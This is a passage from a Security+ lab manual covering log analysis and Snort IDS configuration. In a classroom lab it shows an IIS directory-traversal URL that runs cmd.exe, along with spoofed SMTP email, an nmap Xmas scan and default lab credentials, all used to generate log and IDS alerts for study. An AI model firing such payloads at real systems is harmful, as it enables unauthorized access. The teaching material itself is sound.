Your boss wants you to set up a secured communication channel between the company and 4. a new partner across the Internet. He is not sure what type of VPN to have you set up. What
are some of the considerations that you must take into account to make this determination?
ch08.indd 250 11/17/10 5:18:07 PM
Lab 8.5w: Using IPsec in Windows 251
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Lab 8.5 Key Terms Quiz Use these key terms from the lab to complete the sentences that follow:
host-to-host
host-to-server
IPsec
network layer
server-to-server
transport method
tunnel
tunnel method
virtual private network (VPN)
1. A(n) ________________________ can be used to allow two different networks to communicate with each other over an untrusted network such as the Internet.
2. ______________________ is the protocol most commonly used to implement a VPN.
3. Creating a VPN that communicates directly from one computer to another is called a(n) ____________________ configuration and uses the _________________.
4. Using a VPN to connect servers across a public network is typically done using ________________ configuration and the _______________.
5. IPsec operates at the ______________________ of the OSI model.
Suggested Experiments Try allowing different types of traffic with IPsec. Can you allow just HTTP and SSH traffic but 1. not FTP using IPsec?
IPsec can be implemented in Linux using the Openswan package. Go to www.openswan.org 2. and review the documentation.
References IP Security Protocol• (IPSec) www.ietf.org/html.charters/IPsec-charter.html
Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapter 11
ch08.indd 251 11/17/10 5:18:08 PM
This page intentionally left blank
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9 / Blind Folio 253
Detection and Response: How Do We Detect and Respond to Attacks?
He is most free from danger, who even when safe, is on his guard. —Publilius Syrus
In this section we will focus on putting the tools and technologies studied earlier to use in protecting our data and
networks. One of the key elements in protecting one’s assets is
a thorough knowledge of the assets and their capabilities. This
is an important part of preparing one’s network to function
properly. The availability attribute of security cuts both ways.
You wish to deny availability to unauthorized parties at all times,
while you wish to provide availability to all authorized parties.
Looking at the network security problem from another
angle, using the operational security model, one can categorize
events and opportunities into distinct categories. The previous
section of this lab manual was about the tools and skills needed
to prevent attacks. This section is geared more toward the next
level of defense, that of detection and response to attacks.
Although we would prefer to design and implement networks
that are impervious to unauthorized access, the real world has
proven to be less than perfect.
Part IV Chapter 9
ch09.indd 253 11/17/10 11:34:20 AM
254
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Once an unauthorized access has begun, the next step in network
defense is the detection of the unauthorized activity. Detecting
unauthorized activity can be a significant challenge in today’s diverse and
complex networks. Preparing for the inevitable undesired event is a task
with several divergent elements. These key elements include: backing up
data; analyzing log files that detail specific activity across the network;
using an intrusion detection system to detect network activity; and using
a honeypot to detect what attackers are specifically trying to do.
Once a trace of unauthorized activity has been detected, the next step
is to determine the extent of the unauthorized access and scale of the
problem. This is where the world of forensic analysis enters the picture.
Chapter 10 examines some scientific methods of determining specific
aspects of access and activities across a network. The material in this
portion of the book can be seen as a targeted application of several tools
and techniques presented in earlier parts of the book.
Part IV: Detection and Response: How Do We Detect and Respond to Attacks?
ch09.indd 254 11/17/10 11:34:20 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9 / Blind Folio 255
Preparing for and Detecting Attacks
Labs Lab 9.1 System Log Analysis•
Lab 9.1w Log Analysis in Windows
Lab 9.1l Log Analysis in Linux
Lab 9.1 Analysis Questions
Lab 9.1 Key Terms Quiz
Lab 9.2 Intrusion Detection Systems•
Lab 9.2w Using an Intrusion Detection System (Snort) in Windows
Lab 9.2 Analysis Questions
Lab 9.2 Key Terms Quiz
Lab 9.3 Backing Up and Restoring Data•
Lab 9.3w Backing Up and Restoring Data in Windows
Lab 9.3l Backing Up and Restoring Data in Linux
Lab 9.3 Analysis Questions
Lab 9.3 Key Terms Quiz
Chapter 9
ch09.indd 255 11/17/10 11:34:20 AM
Chapter 9: Preparing for and Detecting Attacks 256
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Preparing for an attack is an exercise that includes a lot of policy and procedure development, but some aspects of preparation are system
based. Backing up the data on a network is a task that prepares the
system for many events. For example, in the event of lost end-user data,
the backups provide a solution to the immediate problem. In the event
of certain types of unauthorized access events, backup copies of log files
can provide evidence that was otherwise erased. Configuring an intrusion
detection system and reviewing logs will be essential in detecting attacks
or intrusions on the system. This chapter will cover backing up and
restoring, intrusion detection, and analyzing log files.
Lab 9.1: System Log Analysis On a computer system, any significant occurrence can be considered an event. Most operating systems
today have built in the ability to log events. A log is a listing of the events as they occurred. Each log
entry has the date and time of the event, the category of the event, and where to get more information
about the event. Log entries can reveal information on whether or not a computer security incident has
occurred. A computer security incident is any unlawful or unauthorized activity on the system. While
maintaining logs is important, the value of logs comes from viewing them on a regular basis.
In this lab, you will configure the logging function on the server and perform tasks that generate
entries in the logs.
Learning Objectives At the end of this lab, you’ll be able to
Configure the computer system to log events.•
View and analyze system events.•
ch09.indd 256 11/17/10 11:34:21 AM
Lab 9.1w: Log Analysis in Windows 257
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
S 45 minutes
Lab 9.1w: Log Analysis in Windows
Materials and Setup You will need the following:
Windows XP Professional•
Windows 2003 Server•
Lab Steps at a Glance
Step 1: Log on to the Windows XP Professional and Windows 2003 Server PCs.
Step 2: Set up auditing.
Step 3: Perform tasks that will generate log entries.
Step 4: Analyze the log entries.
Step 5: Log off from the Windows XP Professional and Windows 2003 Server PCs.
Lab Steps
Step 1: Log on to the Windows XP Professional and Windows 2003 Server PCs.
To log on to the Windows XP Professional PC:
At the Login screen, click the Admin icon.1.
In the password text box, type 2. password and press enter.
To log on to the Windows 2003 Server PC:
At the Login screen, press 1. ctrl-alt-del.
Enter the username 2. administrator and the password adminpass.
Click OK.3.
Step 2: Set up auditing.
First you will check what events are being audited. On the Windows 2003 Server PC:
Choose Start | All Programs | Administrative Tools | Local Security Policy.1.
In the tree pane, expand Local Policies and select Audit Policy.2.
ch09.indd 257 11/17/10 11:34:21 AM
Chapter 9: Preparing for and Detecting Attacks 258
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
List the events that you can audit.
Double-click Audit Account Logon Events.3.
Check the Success check box.a.
Check the Failure check box.b.
Click OK.c.
Close the Local Security Settings window.4.
Choose Start | Programs | Administrative Tools | Internet Information Services Manager.5.
In the tree pane, expand win2k3serv.6.
Expand the Web Sites folder.7.
Right-click Default Web Site and select Properties.8.
On the Web Site tab:9.
Make sure the Enable Logging box is checked.a.
Make sure the Active Log Format is WC3 Extended Log File Format.b.
Click Properties.c.
On the General Properties tab, make sure Daily is selected.d.
For the location of the log file, click Browse.e.
Select Desktop and click OK.f.
On the Logging Properties screen, click OK.g.
On the Default Web Site Properties screen, click OK.h.
Expand the FTP Sites folder.10.
Right-click Default FTP Site and select Properties.11.
On the FTP Site tab:12.
Make sure the Enable Logging box is checked.a.
Make sure the Active Log Format is WC3 Extended Log File Format.b.
Click Properties.c.
On the General Properties tab, make sure Daily is selected.d.
For the location of the log file, click Browse.e.
Select Desktop and click OK to return to the Extended Logging Properties screen.f.
On the Extended Logging Properties screen, click OK.g.
On the Default FTP Site Properties screen, click OK.h.
ch09.indd 258 11/17/10 11:34:21 AM
Lab 9.1w: Log Analysis in Windows 259
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Close the Internet Information Services Manager window.13.
Close the Local Security Settings window.14.
Step 3: Perform tasks that will generate log entries.
To test the log settings, you will perform some activities that should generate some logs entries.
Choose Start | Shut down.1.
At the Shut Down Windows screen, click the drop-down arrow and select Log Off a. Administrator.
Click OK.b.
You will now attempt to log in to a nonexistent account to see if it is logged.
At the Login screen, press 2. ctrl-alt-del.
Enter the username 3. eviluser and the password password.
Click OK.4.
On the Login message window announcing that you could not log on, click OK.5.
You will now use an incorrect password to see if it is logged.
At the Login screen, press 6. ctrl-alt-del.
Enter the username 7. labuser and the password 123.
Click OK.8.
On the Login message window announcing that you could not log on, click OK.9.
You will now correctly log in as a regular user to see if it is logged.
At the Login screen, press 10. ctrl-alt-del.
Enter the username 11. labuser and the password password.
Click OK.12.
Choose Start | Shut Down.13.
At the Shut Down Windows screen, click the drop-down arrow and select Log Off Labuser.a.
Click OK.b.
You will now log in as administrator so that you can examine the logs.
At the Login screen, press 14. ctrl-alt-del.
Enter the username 15. administrator and the password adminpass.
Click OK.16.
Next, you will generate some logs by attempting to connect with FTP.
ch09.indd 259 11/17/10 11:34:22 AM
Chapter 9: Preparing for and Detecting Attacks 260
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
On the Windows XP Professional computer:
Choose Start | Run.17.
In the Open field, type 18. cmd and click OK.
On the command line, type 19. ftp 192.168.100.102 and press enter.
At the login prompt, type 20. eviluser and press enter.
At the password prompt, type 21. password and press enter.
You should receive the message “Login failed.” Therefore, you will exit out of this.
Type 22. quit and press enter.
Close the Command Prompt window.23.
Lastly, you will generate some logs by connecting to the web server.
Choose Start | Internet Explorer.24.
In the address bar, type 25. http://192.168.100.102/scripts/..%255c../winnt/system32/cmd .exe?/c+dir+\winnt and press enter.
This URL is an attempt at a directory traversal attack. You will get an error, as the attack will
not be successful. We will see later if Snort detected this attack.
Step 4: Analyze the log entries.
On the Windows 2003 Server PC:
Choose Start | All Programs | Administration Tools | Event Viewer. Figure 9-1 shows the Event 1. Viewer.
In the Event Viewer tree pane, select Security.2.
In the details pane, double-click the Failure Audit entry to open the Event Properties dialog 3. box, shown in Figure 9-2.
Notice that the log entry is for a failed attempt to log in. It also has the name the user tried
to log in as.
Click OK to close the Event Properties dialog box.4.
Double-click the second Failure Audit event from the bottom.5.
Notice that this time it was a good username, but the password was incorrect.
Click OK to close the Event Properties dialog box.6.
Double-click the Labuser Success event.7.
Notice that this time labuser logged in with the correct username and password. Is this an
indication that labuser mistyped the password the first time and then remembered, or is it
an indication that there was an attack on the password and there was a success on the second
attempt?
ch09.indd 260 11/17/10 11:34:22 AM
Lab 9.1w: Log Analysis in Windows 261
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Figure 9-1 The Event Viewer
Figure 9-2 The log entry
ch09.indd 261 11/17/10 11:34:22 AM
Chapter 9: Preparing for and Detecting Attacks 262
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Click OK to close the Event Properties dialog box.8.
Close the Event Viewer.9.
You will now examine the FTP logs.
Double-click the MSFTPSVC1 folder located on the desktop.10.
Double-click the text file there.11.
Notice that eviluser failed entry. This entry can be an indication of either someone who
forgets their password or an attacker trying to gain entry.
Close Notepad.12.
Close the folder MSFTPSVC1.13.
On the desktop, double-click the W3SVC1 folder.14.
Double-click the text file there.15.
Notice that there is a log entry from the directory traversal attack.
Step 5: Log off from the Windows XP Professional and Windows 2003 Server PCs.
At the Windows XP Professional PC:
Choose Start | Logoff.1.
At the Log Off screen, click Log Off.2.
At the Windows 2003 Server PC:
Choose Start | Shut Down.1.
At the Shut Down Windows screen, click the drop-down arrow and select Log Off 2. Administrator.
Click OK.3.
S 45 minutes
Lab 9.1l: Log Analysis in Linux When dealing with log files in Linux, you have to understand how they are created. There are two main
choices for how log files are created: by the operating system, or directly by applications. The location
and format of the log file are dictated by the logging application. The best location is a remote logging
server that affords a level of security to the collected logs.
ch09.indd 262 11/17/10 11:34:23 AM
Lab 9.1l: Log Analysis in Linux 263
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
The log file can be generated by the log system. Most UNIX systems have a single central logging
system called syslog. Linux has another logging system for debugging the kernel, which would be
important if you were to get into kernel development, which is not in the scope of this book. The syslog
system was created as a centralized system to store log files and to provide different ways to notify an
administrator about specific types of events. The syslog system is based upon the usage of a standard
library for handling log messages. Typical application logs include mail server logs and web server logs.
Typical OS logs include boot logs and access logs.
Each message has two parts, the calling program type and the log priority level. The system can
do different things to the message depending upon which program type sends the log file and which
priority level it is called with.
Materials and Setup You will need the following:
Metasploitable•
BackTrack•
Lab Steps at a Glance
Step 1: Log on to the BackTrack and Metasploitable PCs.
Step 2: Examine the syslog daemon.
Step 3: Generate some log messages.
Step 4: Examine the log files on the Metasploitable PC.
Step 5: Log off from the BackTrack and Metasploitable PCs.
Lab Steps
Step 1: Log on to the BackTrack and Metasploitable PCs.
To log on to the BackTrack PC:
At the login prompt, type 1. root and press enter.
At the password prompt, type 2. toor and press enter.
To log on to the Metasploitable PC:
At the login prompt, type 1. msfadmin and press enter.
At the password prompt, type 2. msfadmin and press enter.
ch09.indd 263 11/19/10 10:11:00 AM
Chapter 9: Preparing for and Detecting Attacks 264
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Step 2: Examine the syslog daemon.
The syslog system is handled by a daemon (or service) called syslogd.
On the Metasploitable PC:
At the command line, type the command 1. ps ax | grep syslog and then press enter.
What is the syslogd process ID?
The syslog daemon is reconfigured by modifying the configuration file and sending a HUP
signal to this daemon. A HUP signal is the equivalent of using the command kill –1, which
effectively tells the program to reread its configuration file. The configuration file’s name is
/etc/syslog.conf.
Type 2. less /etc/syslog.conf and press enter.
You will see that this file is similar to standard UNIX configuration files in that some lines
have the character # at the beginning, which means that any text after the # is a comment.
The file is broken into two columns; the column on the left specifies the program type and
priority level, while the column on the right specifies what should happen to the log message.
The system allows for three different things to happen to a message:
It can be stored in a specified file on this machine.•
It can be sent to a syslog daemon on a different machine over the network.•
It can be written to a named pipe, which can have a program that reads and deals with • the message in real time.
The primary information that you should observe here is that each message sent to the syslog
server has a message type and an application name.
The lines of this configuration file that you should examine include the lines that specify
what will happen to all messages with the priority of info and all messages about mail.
Press the 3. spacebar to jump to the bottom of the file.
Where do e-mail events get logged?a.
Whom are emergency messages sent to?b.
Press 4. q to exit.
Step 3: Generate some log messages.
You will use the FTP client to attempt to connect with a nonexistent account.
On the BackTrack PC:
On the command line, type 1. startx and press enter.
On the taskbar, click the Konsole icon.2.
ch09.indd 264 11/17/10 11:34:23 AM
Lab 9.1l: Log Analysis in Linux 265
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
In the terminal that opens, type the command 3. ftp linuxserv.security.local and press enter.
At the login prompt, type 4. eviluser and press enter.
At the password prompt, type 5. password and press enter.
You should receive the message “Login failed.” Therefore, you will exit out of this.
Type 6. quit and press enter.
Next, you will send a spoofed e-mail.
At the command prompt, type 7. telnet linuxserv.security.local 25 and press enter.
For the following steps to work appropriately, you must enter the message without any
mistakes. If you make a mistake, you should immediately press enter. You will get an error
message and can then retype the line.
At the prompt, type 8. helo localhost and press enter. You should get back the message “250 metasploitable.localdomain.”
At the prompt, type 9. mail from: [email protected] and press enter.
At the prompt, type 10. rcpt to: [email protected] and press enter.
Did that command work? If not, what was the error message? Why do you think that this
message exists?
At the prompt, type 11. rcpt to: [email protected] and press enter.
Type 12. data and press enter.
Type 13. Important Update. and press enter.
Type a period and press 14. enter.
What is your message ID?
Type 15. quit and press enter.
Lastly, you will send an attack to the web server. This attack will attempt to traverse the
directories of the web server.
Click the Firefox icon in the taskbar.16.
In the address bar, type 17. http://linuxserv.security.local/scripts/..%255c../winnt/system32/ cmd.exe?/c+dir+\ and press enter.
This exploit did not work because the current version of Apache does not have the
vulnerability.
Close Firefox.18.
ch09.indd 265 11/17/10 11:34:23 AM
Chapter 9: Preparing for and Detecting Attacks 266
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Step 4: Examine the log files on the Metasploitable PC.
On the Metasploitable machine, you will change your current directory to where most logs are saved.
Type the command 1. cd /var/log and press enter.
Type 2. ls and press enter.
Login attempts to the FTP server are in the application logs and are only available to the
system administrator. You will see proftpd.
Type 3. ls proftpd and press enter. You will see a file named proftpd.log.
Type 4. sudo tail proftpd/proftpd.log and press enter. When asked for the password, type msfadmin and press enter.
Do you see anything telling you that there was an attempt to establish an FTP connection to
your machine?
Take a look at the mail logs next.
On the Metasploitable machine, the logs of the mail server are managed by the syslog system,
which stores them by default in the file mail.info.
Type the command 5. tail mail.info and press enter.
Do you see anything signifying that a user tried to send mail to Yahoo?a.
Do you see a successful attempt? Who was it sent to?b.
The log files for the web server are saved by the web server directly. The configuration
parameters that specify where the log files will be created are in the web server
configuration file, which is located at /etc/apache2/sites-enabled/000-default. The
access_log file contains any attempts to access the web server. Those files are stored by
Ubuntu in the default directory /var/log/apache2/.
➜ Note
On a Red Hat/CentOS machine, these files would be in /var/log/httpd/.
Type 6. cd apache2 and press enter.
Type 7. ls –l and press enter.
Observe the files listed.
Type 8. tail access_log and press enter. This will show you the recent attempts to get data from the web server.
Is there an indication of the web server attack?
ch09.indd 266 11/17/10 11:34:24 AM
Lab 9.1l: Log Analysis in Linux 267
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Step 5: Log off from the BackTrack and Metasploitable PCs.
At the BackTrack PC command line, type 1. logout and press enter.
At the Metasploitable PC command line, type 2. logout and press enter.
Lab 9.1 Analysis Questions The following questions apply to the labs in this section:
Why is it important for a network administrator to enable and examine system logs?1.
What are the steps to enable and configure system logging?2.
Examine the following log entry and answer the questions that follow.3.
2005-02-14 18:17:45 192.168.100.101 - 192.168.100.102 80 GET
/scripts/..%5c../winnt/system32/cmd.exe /c+dir+\ 200
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1)
When did this event take place?a.
What IP address did it come from?b.
What is being attempted here?c.
What should you do in response?d.
Examine the following log entry and answer the questions that follow.4.
Event Type: Success Audit
Event Source: Security
Event Category: Account Management
Event ID: 636
Date: 2/14/2005
Time: 1:19:46 PM
User: WIN2KSERV\Administrator
Computer: WIN2KSERV
Description:
Security Enabled Local Group Member Added:
Member Name: -
ch09.indd 267 11/17/10 11:34:24 AM
Chapter 9: Preparing for and Detecting Attacks 268
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Member ID: WIN2KSERV\labuser2
Target Account Name: Administrators
Target Domain: Builtin
Target Account ID: BUILTIN\Administrators
Caller User name: Administrator
Caller Domain: WIN2KSERV
Caller Logon ID: (0x0,0xB116)
Privileges: -
When did this event take place?a.
Who initiated this event?b.
What does this event indicate took place?c.
What should you do in response?d.
Examine the following log entry and answer the questions that follow.5.
Jan 29 15:53:48 LinuxServ login[1795]: FAILED LOGIN 3 FROM (null) FOR root
Authentication failure
When did this event take place?a.
What does this event indicate took place?b.
What should you do in response?c.
Lab 9.1 Key Terms Quiz Use these key terms from the labs to complete the sentences that follow:
calling program type
event
log
ch09.indd 268 11/17/10 11:34:24 AM
Lab 9.2: Intrusion Detection Systems 269
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
log entry
log priority level
remote logging server
syslog
1. Any significant occurrence on a computer system can be considered a(n) ____________________.
2. The events that occur in a system are collected and maintained in the system __________________.
3. The optimal place to log events in a networked UNIX environment is on a(n) ________________________.
4. UNIX logs have two components, __________________ and ________________.
Suggested Experiments Try using NTsyslog (http://ntsyslog.sourceforge.net/) to view UNIX-based logs on a Windows 1. computer.
Use built-in or remote administration tools to view event logs on other local or remote 2. systems.
Compare the level of logging detail and ability to manipulate log data between Windows and 3. UNIX operating systems.
References Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapter 13
UNIX logging • www.openbsd.org/faq/pf/logging.html
Windows logging • www.windowsecurity.com/articles/Understanding_Windows_Logging.html
Lab 9.2: Intrusion Detection Systems An intrusion detection system (IDS) is a device or software application that detects unauthorized use
of or attacks on a computer or network. Upon detection, an IDS can log the event, send an alert to the
administrator, or perform some other action such as running another program or redirecting traffic.
Snort is an open source IDS with wide user acceptance across the Windows and UNIX platforms. It
is made up of four components: a sniffer, preprocessor, detection engine, and alerts. The sniffer acts
much like Wireshark or tcpdump. It dumps the traffic to the screen or another location as specified. It
is used to gather traffic to be analyzed by the preprocessor and detection engine.
ch09.indd 269 11/17/10 11:34:25 AM
Chapter 9: Preparing for and Detecting Attacks 270
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
The preprocessor performs several functions, one of which is to detect anomalous traffic on the
network such as malformed packets or abnormal ARP replies. The preprocessor can also be used to
process and prepare the data for use by the detection engine. The detection engine checks the data
against rulesets looking for a match. A ruleset is a collection of rules that contains the signature of an
attack or unauthorized behavior. Alerts are messages that are logged and/or sent to an administrator to
make them aware of a suspicious activity.
One of the challenges in configuring an IDS is balancing between defining rules that are too specific
and defining rules that are too general. A rule that is too general will alert when there is no real attack.
While it may contain the characteristics of an attack, other, nonmalicious traffic may also have the
same characteristics. Detecting this legitimate traffic and labeling it as suspect is called a false positive.
A rule that is too specific may not catch an attack in all circumstances, thereby allowing an attack to go
undetected and resulting in a false negative.
In this lab, you will first configure a Snort preprocessor to detect the anomalous traffic and analyze
the logs on a Windows-based system. Next, you will configure Snort to use the detection engine and
detect an attack based on signatures. Lastly, you will write and test your own rulesets.
Learning Objectives At the end of this lab, you’ll be able to
Explain the process by which Snort detects intrusions.•
Define preprocessor, detection engine, anomalous traffic, false positive, and false negative.•
Configure Snort to use preprocessors and rulesets.•
Analyze the Snort alert file.•
Create a rule, given the characteristics of a specific attack.•
S 90 minutes
Lab 9.2w: Using an Intrusion Detection System (Snort) in Windows
Materials and Setup You will need the following:
Windows XP Professional•
Windows 2003 Server•
ch09.indd 270 11/17/10 11:34:25 AM
Lab 9.2w: Using an Intrusion Detection System (Snort) in Windows 271
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
In addition, you will need
Snort•
WinPcap•
Lab Steps at a Glance
Step 1: Log on to the Windows XP Professional and Windows 2003 Server PCs.
Step 2: Install Snort on the Windows 2003 Server PC.
Step 3: Use Snort as a sniffer.
Step 4: Create a Snort configuration that uses the preprocessor.
Step 5: Use an Xmas scan and directory traversal attack and check the logs (preprocessor).
Step 6: Create a Snort configuration that uses the detection engine.
Step 7: Use an Xmas scan and directory traversal attack a second time and check the logs
(preprocessor).
Step 8: Create a rule.
Step 9: Test the rule.
Step 10: Log off from the Windows XP Professional and Windows 2003 Server PCs.
Lab Steps
Step 1: Log on to the Windows XP Professional and Windows 2003 Server PCs.
To log on to the Windows XP Professional PC:
At the Login screen, click the Admin icon.1.
In the password text box, type 2. password and press enter.
To log on to the Windows 2003 Server PC:
At the Login screen, press 1. ctrl-alt-del.
Enter the username 2. administrator and the password adminpass.
Click OK.3.
Step 2: Install Snort on the Windows 2003 Server PC.
Double-click the Tools folder.1.
Before you install Snort, you need to install WinPcap. WinPcap will allow you to capture
packets for analysis by Snort.
ch09.indd 271 11/17/10 11:34:25 AM
Chapter 9: Preparing for and Detecting Attacks 272
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Install WinPcap.2.
Double-click Winpcap_3_0.a.
On the WinPcap 3.0 Installer screen, click Next.b.
On the Welcome to the WinPcap 3.0 Setup Wizard screen, click Finish.c.
On the License Agreement screen, click Yes, I Agree with All the Terms of the License d. Agreement, and click Next.
On the Installation Complete screen, click OK.e.
Install Snort.3.
Double-click snort_2_8_6_1.a.
On the License Agreement screen, click I Agree.b.
On the Installation Options screen, select I Do Not Intend to Log to a Database and click Next.c.
On the Choose Components screen, click Next.d.
On the Choose Install Location screen, click Install.e.
On the Installation Complete screen, click Close.f.
On the Snort Setup screen, click OK.g.
Close the Tools folder.h.
Step 3: Use Snort as a sniffer.
On the Windows 2003 Server computer:
Choose Start | Run.1.
In the Open field, type 2. cmd and press enter.
On the command line, type 3. cd c:\snort\bin and press enter.
Type 4. snort –h and press enter. This displays the help file for the command-line options you can use with Snort.
What is the option for verbose output?a.
What is the option to see the version of Snort?b.
Type 5. snort –vde and press enter.
The • v option puts Snort in verbose mode, in which it will dump traffic to the screen.
The • d option shows the network layer headers.
The • e option shows the data link layer headers.
On the Windows XP computer:
Choose Start | Run.6.
ch09.indd 272 11/17/10 11:34:26 AM
Lab 9.2w: Using an Intrusion Detection System (Snort) in Windows 273
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
In the Open field, type 7. cmd and press enter.
Type 8. ping 192.168.100.102 and press enter.
On the Windows 2003 Server PC:
Observe that Snort will be dumping the contents of the ping to the screen.
Press 9. ctrl-c to stop Snort.
Step 4: Create a Snort configuration that uses the preprocessor.
You will use the Notepad text editor to create a configuration file for Snort. You will name the file
snort_preprocessor.conf.
On the command line, type 1. notepad c:\snort\etc\snort_preprocessor.conf and press enter.
Click Yes to create the file.2.
In Notepad, type the following lines:3.
var HOME_NET 192.168.100.0/24
var EXTERNAL_NET any
var RULE_PATH c:\snort\rules
preprocessor stream4_detect_scans
The first three lines are variable settings. They are the values that preprocessors and rules
files will use when they need to know what the internal or home network is, what is
considered untrusted or external traffic, and where to find the rules files. The last line is the
preprocessor that you will be calling to process the traffic and detect scans.
When you are finished, choose File | Save.4.
Minimize Notepad.5.
Step 5: Use an Xmas scan and directory traversal attack and check the logs (preprocessor).
Type 1. snort –l c:\snort\log –c c:\snort\etc\snort_preprocessor.conf and press enter.
The –l option specifies the location of the output log files and the –c option specifies the
location of the configuration file. The preprocessor that you configured Snort to use includes
a preprocessor to detect a port scan.
On the Windows XP machine:
Choose Start | Run and press 2. enter.
Type 3. cmd and press enter.
At the command line, type 4. nmap –sX 192.168.100.102 and press enter.
The X option in the preceding command indicates to send an Xmas scan. It is called an Xmas
scan because the packets that are sent have all of the TCP flags on, or “lit up like a Christmas
tree.” This is a type of packet that would not be seen in normal network traffic.
ch09.indd 273 11/17/10 11:34:26 AM
Chapter 9: Preparing for and Detecting Attacks 274
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
This scan should be finished in just a few seconds and should respond with a standard list of
open ports.
Next, you will attempt a directory traversal attack against the web server.
Choose Start | Internet Explorer.5.
In the address bar of Internet Explorer, type 6. http://192.168.100.102/scripts/..%255c../ winnt/system32/cmd.exe?/c+dir+\winnt and press enter.
Note that you now have a listing of the Winnt folder.
On the Windows 2003 Server PC:
In the Command Prompt window, press 7. ctrl-c. This will stop Snort.
You will see the Snort summary output screen, shown in Figure 9-3.
How many packets did Snort receive?a.
How many of the packets were TCP?b.
How many alerts are there?c.
You will now look at the alert.ids file, which contains the alerts that were logged.
Choose Start | Run.8.
Type 9. C:\snort\log and press enter.
Right-click alert.ids and select Open.10.
Figure 9-3 Snort summary output screen
ch09.indd 274 11/17/10 11:34:27 AM
Lab 9.2w: Using an Intrusion Detection System (Snort) in Windows 275
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Select the WordPad program and click OK. Figure 9-4 shows the alert.ids file.11.
Scroll down and you will quickly see that all the alerts were generated by the Xmas scan.
There are no entries for the directory traversal attack because the preprocessor is detecting
anomalous transport layer traffic. The Xmas scan generates anomalous traffic, but the
directory traversal attack does not.
Take a look at some of the elements in the alert:
[**] [111:10:1] (spp_stream4) STEALTH ACTIVITY (XMAS scan) detection [**]
01/24-01:11:27.608520 192.168.100.101:56741 -> 192.168.100.102:977
TCP TTL:43 TOS:0x0 ID:56066 IpLen:20 DgmLen:40
**U*P**F Seq: 0x0 Ack: 0x0 Win: 0x1000 TcpLen: 20 UrgPtr: 0x0
[111:10:1]• This is the Snort ID and Revision number.
(spp_stream4) STEALTH ACTIVITY (XMAS scan) detection• This is the preprocessor that triggered the alert.
**U*P**F• This shows you that the Urgent, Push, and Fin flags are set on the packet that was captured.
Figure 9-4 The alert.ids file
ch09.indd 275 11/17/10 11:34:27 AM
Chapter 9: Preparing for and Detecting Attacks 276
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 9
Close WordPad.12.
In the C:\snort\log window, select all files and folders and delete them.13.
Minimize the C:\snort\log window.14.
Step 6: Create a Snort configuration that uses the detection engine.
In Notepad, delete the line 1. preprocessor stream4: detect_scans.
Add the following lines to the bottom of the file:2.
var HTTP_SERVERS 192.168.100.102
var HTTP_PORTS 80
preprocessor flow
include classification.config
include $RULE_PATH/web-misc.rules
Choose File | Save As.3.
In the Save In combo box, navigate to c:\snort\etc\.4.
In the File Name combo box, type 5. snort_detection.conf.
Make sure the Save as Type combo box is set to All Files. If not, the file will be saved with 6. a .txt extension and the exercise will not work as written.
Click Save.7.
In the preceding configuration, you are adding the variables for your web server’s IP address
and port address. The flow preprocessor will be used to help prepare the captured data for the
detection engine. This preprocessing is needed by the web-misc.rules file to work correctly.
The line include classification.config is used to help classify the different alerts
that take place. The web-misc.rules line refers to the file that contains the signature the
detection engine will be looking for. Take a look at the rules file now; you will be writing one
of your own later in the lab exercise.
Choose Start | Run.8.
Type 9. c:\snort\rules and press enter.
Right-click web-misc.rules and select Open With.10.
Select WordPad and click OK.11.
Choose Edit | Find.12.
Type 13. :1113 and click Find Next.
